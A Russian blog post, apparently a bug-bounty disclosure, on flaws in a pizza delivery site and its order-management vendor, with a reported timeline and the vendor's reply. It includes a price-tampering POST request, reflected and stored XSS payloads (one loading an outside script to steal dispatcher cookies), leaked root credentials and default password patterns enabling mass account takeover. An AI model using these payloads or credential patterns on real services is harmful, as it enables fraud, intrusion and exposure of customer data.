https://habrahabr.ru/post/321116/- Тестирование веб-сервисов
- Тестирование IT-систем
- Разработка веб-сайтов
- Информационная безопасность
Я часто заказываю пиццу в Одессе, больше всего люблю доставку pizza.od.ua, там не жалеют начинки и можно создать пиццу из своих ингредиентов, в других же службах доставки можно выбрать только ту пиццу, которую тебе предлагают, добавить еще ингредиентов или выбрать другие нельзя. Месяца два назад я подсел на суши у них. С недавних пор суши временно не доставляют, тогда я нашёл другую доставку суши и пиццы.
Я решил проверить её на уязвимости.
Первая уязвимость — самая популярная на таких сайтах — это отсутствие проверки суммы платежа за товар (
iDOR).
Есть в POST запросе переменная
price, есть
finalPrice, переменная finalPrice поддается редактированию и можно будет сделать себе скидку на пиццу. Запрос:
POST /oplata.html HTTP/1.1
Host: www.pizza.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://yahoo.com/{{2+2}}
Content-Length: 262
Cookie:
streetId=&streetName=qwqwqw&persons=1&change=500&name=qw&phone=%2B38(111)1111111&email=mm%40mm.mm&t-ord=&comment=&promocode=&agreement=on&check-ord=online&order%5B0%5D%5Bid%5D=1162&order%5B0%5D%5Bamount%5D=2&order%5B0%5D%5Btype%5D=rollyi&price=210&finalPrice=30
Изменяем finalPrice и мы заплатили за пиццу
30 гривен вместо
210. Заказ приняли, но администраторы заметили подмену и отказались присылать мне пиццу.
Вторая уязвимость. Когда отправился заказ, происходит редирект на страницу
pizza.com/your_order.html?order=567808&ret=1, номер заказа выводится на страницу. Вместо номера вписываем js
pizza.com/your_order.html?order=">&ret=1 и получаем
Reflected XSS уязвимость.
Третья уязвимость это
Logout csrf и clickjacking Disclosure information и захват административной панели заказов.
Оказалось, что когда мы заказали еду, то она еще не добавлена в админку на проверку. Чтобы добавить заказ, сайт создает на странице
pizza.com/your_order.html?order=567808&ret=1 iframe с адресом:
http://pizza.com/your_order.html?order=567808&curl1=aHR0cDovL29ubGluZS5tb2JpZGVsLnJ1L21ha2VPcmRlci5waHA/dXNlcj1yb290JnBhc3N3b3JkPXBhc3dvcmQmd2lkPTQwNTAmZmFtaWx5PSUyMiUzRSUzQ2ltZytzcmMlM0R4K29uZXJyb3IlM0Rwcm9tcHQlMjgxJTI5JTNFK3F3JTdCJTdCMisyJTdEJTdEcXcmc3RyZWV0PTElMkMxJTIyJTNFJTNDaW1nK3NyYyUzRHgrb25lcnJvciUzRHByb21wdCUyODElMjklM0UrcXclN0IlN0IyKzIlN0QlN0RxdyZob21lPSZyb29tPSZlbnRyYW5jZT0mZmxvb3I9JnBob25lPTM4MDYzNjgxOTQ2NCZjb21tZW50PSVEMCU5RSVEMCVCRiVEMCVCQiVEMCVCMCVEMSU4NyVEMCVCNSVEMCVCRCslRDAlQkUlRDAlQkQlRDAlQkIlRDAlQjAlRDAlQjklRDAlQkQlMjErJTNDYnIlM0UlRDAlOUQlRDAlQjArJUQwJUIyJUQxJTgwJUQwJUI1JUQwJUJDJUQxJThGJTNBJTIyJTNFJTNDaW1nK3NyYyUzRHgrb25lcnJvciUzRHByb21wdCUyODElMjklM0UrcXclN0IlN0IyKzIlN0QlN0RxdyslRDAlOUYlRDElODAlRDAlQkUlRDAlQkMlRDAlQkUtJUQwJUJBJUQwJUJFJUQwJUI0KyUyMiUzRSUzQ2ltZytzcmMlM0R4K29uZXJyb3IlM0Rwcm9tcHQlMjgxJTI5JTNFK3F3JTdCJTdCMisyJTdEJTdEcXclRDAlOUElRDAlQkUlRDAlQkIlRDAlQjglRDElODclRDAlQjUlRDElODElRDElODIlRDAlQjIlRDAlQkUrJUQwJUJGJUQwJUI1JUQxJTgwJUQxJTgxJUQwJUJFJUQwJUJEKy0rMSslRDAlOUYlRDAlQkUlRDAlQjQlRDAlQjMlRDAlQkUlRDElODIlRDAlQkUlRDAlQjIlRDAlQjglRDElODIlRDElOEMrJUQxJTgxJUQwJUI0JUQwJUIwJUQxJTg3JUQxJTgzKyVEMSU4MSsrJUQwJTlBJUQwJUJFJUQwJUJDJUQwJUJDJUQwJUI1JUQwJUJEJUQxJTgyJUQwJUIwJUQxJTgwJUQwJUI4JUQwJUI5KyVEMCVCRiVEMCVCRSVEMCVCQiVEMSU4QyVEMCVCNyVEMCVCRSVEMCVCMiVEMCVCMCVEMSU4MiVEMCVCNSVEMCVCQiVEMSU4RiUyMiUzRSUzQ2ltZytzcmMlM0R4K29uZXJyb3IlM0Rwcm9tcHQlMjgxJTI5JTNFK3F3JTdCJTdCMisyJTdEJTdEcXcmYXJ0aWNsZXMlNUIwJTVEPTA1ODkmYXJ0aWNsZXMlNUIxJTVEPTEyMDkmbm9uQ2FzaD0xJnF1YW50aXRpZXMlNUIwJTVEPTQmcXVhbnRpdGllcyU1QjElNUQ9MQ==
curl1 — это адрес сайта, который загрузится во фрейме, выглядит, как base64, декодируем его, получается раскодируем, получается это
online.mobidel.ru/makeOrder.php?user=root&password=password&wid=5040&family=даннные_нашего_заказа, wid -ид площадки, пытаемся войти в админку
online.mobidel.ru и у нас это получилось. Смотрим на наш заказ, его можно редактировать, отправить в обработку от имени диспетчера и
получить бесплатную пиццу (делать я этого конечно не буду).
Ещё можем смотреть данные всех клиентов и текущие заказы
Сообщаем в службу доставки пиццы об этой уязвимости, получаем 10 любых бесплатных пицц или суши.
Хронология:
29 января. Сообщил об уязвимости.
30 января. Присвоена награда 20 бесплатных пицц или суши со скидкой 50 % (10 бесплатных пицц).
19 февраля. Уязвимость исправлена.
Теперь перейдем к
mobidel.ru. Заказ создавался в get запросе с логином и паролем в открытом виде
pizza.com/your_order.html?order=567808&curl1=хэш. Есть вероятность, что такая же уязвимость есть и в других клиентов. Смотрим страницу с клиентами, оттуда собираем url-ы их клиентов. Проверили, оказалось, что это был единственный случай, где логин и пароль идут в открытом виде.
Идём дальше.
1) Обнаруживаем
Stored XSS
Если отправить через заказ скрипт:
">
</script>"><script src=https://securityz.net/any_script.js?></script> ,
То мы получим
cookies диспетчера и
взломаем админку заказов любого сайта, где выполнится данный скрипт. Уязвимые поля: Дом, время, промокод, комментарий.
2) Находим уязвимость
Bruteforce & Account Takeover
Проходим регистрацию, нам приходит сообщение об активации тестового периода в 30 дней с нашими данными для входа:
- ID предприятия: 5687
- Имя пользователя: disp5687
- Пароль: 123456
Я вошел в аккаунт, и сразу не смог найти, где изменить свой пароль. Наверное, и остальные пользователи тоже. Так и есть — почти каждый ид имеет пароль 123456. Около 2,5 тысяч пользователей имеют дефолтный пароль (те, кто активировал 30 дней бесплатно и некоторые аккаунты тех, кто на постоянной основе).
Раскрывается множество email адресов, номеров телефонов и ФИО.
Если для кабинета диспетчера и был условный пароль 123456, то насчет кабинета курьера не стали заморачиваться:
- ID предприятия:5687
- Имя пользователя:5687
- Пароль:5687
У этой компании за их услуги максимальная цена 2500 за мес, минимальная 500, у них всего 5600 клиентов, уверен, что хоть 2000 из них заказали услуги, 2000 умножаем на 1000, получается
2 000 000 рублей в месяц. Зарабатывают они неплохо (возможно, я ошибаюсь, и
конверсия из 5600 может быть меньшей, но все равно неплохо), а вот о безопасности не заботятся.
29 января — присылаем 2 сообщения о нахождении уязвимости,
28 февраля — ещё одно письмо,
1 марта — ещё три письма, компания до сих пор игнорирует мои сообщения. 1 марта я связался с руководителем службы доставки пиццы, он сбросил ссылку на vk программиста, что работает в мобидел. Я отписал ему об уязвимости, он сказал, напиши на тот же email адрес, на этот раз тебя не проигнорируют.
Ответ компании:
Здравствуйте!
Мы бы не назвали это уязвимостью, а ваши действия вполне логичны, пароль
123456 стандартный для всех, те кто пользуется системой на постоянной основе
его меняют.
Мой ответ:
Те кто пользуется системой на постоянной основе его меняют. А те, кто не пользуется, вам наплевать на то, что их личные данные украдут?
Сообщение опять игнорируют, еще ответ:
Не нужно игнорировать эту уязвимость, игнорирование — не решение проблемы.
+ присылаем
репорт о xss уязвимости с захватом любой службы доставки.
Даём компании
20 дней для того, чтобы она устранила свои уязвимости или хотя бы ответила на мои сообщения. Этого
не происходит, выкладываю в общий доступ.
Как бонус вот такая фича пентестерам: когда необходимо протестировать уязвимость на сайте на двух аккаунтах, и ваша почта находится в Яндексе, то на одну почту можно зарегистрировать два аккаунта (mail@yandex.ru; mail@ya.ru).
Вывод с этой статьи: Никогда не нужно ставить дефолтные пароли на аккаунты, нужно генерировать только сложные пароли, с верхним, нижним регистром, цифрами и символами.
Мемы по этой теме:
Дополнение к статьи:
Мне в почту написал письмо один хакер из хабра о том, что тоже обнаружил уязвимость на mobidel. Я не брутил директории, да и вообще после того, как меня долго игнорировали, сайт практически не трогал. А он пробрутил и обнаружил открытый php файл с конфигами сервера (было очень глупо не закрыть его), там данные для: доступа к базе данных, данные для доступа в личный кабинет платежной системы robokassa (можно смотреть транзакции пользователей и управлять счетом mobidel), данные для доступа к админке mobidel на их сайте. Я не пытался никуда войти, просто написал письмо «немедленно закройте этот файл в .htaccess и поменяйте пароли», исправили очень быстро, теперь файл не доступен. И сказали спасибо.
Надеюсь, эта статья будет для них уроком и они закроют все свои уязвимости.
Предыдущая статья
[БАГХАНТИНГ] BLIND XSS УЯЗВИМОСТЬ НА САЙТАХ СЛУЖБЫ ПОДДЕРЖКИ OMNIDESK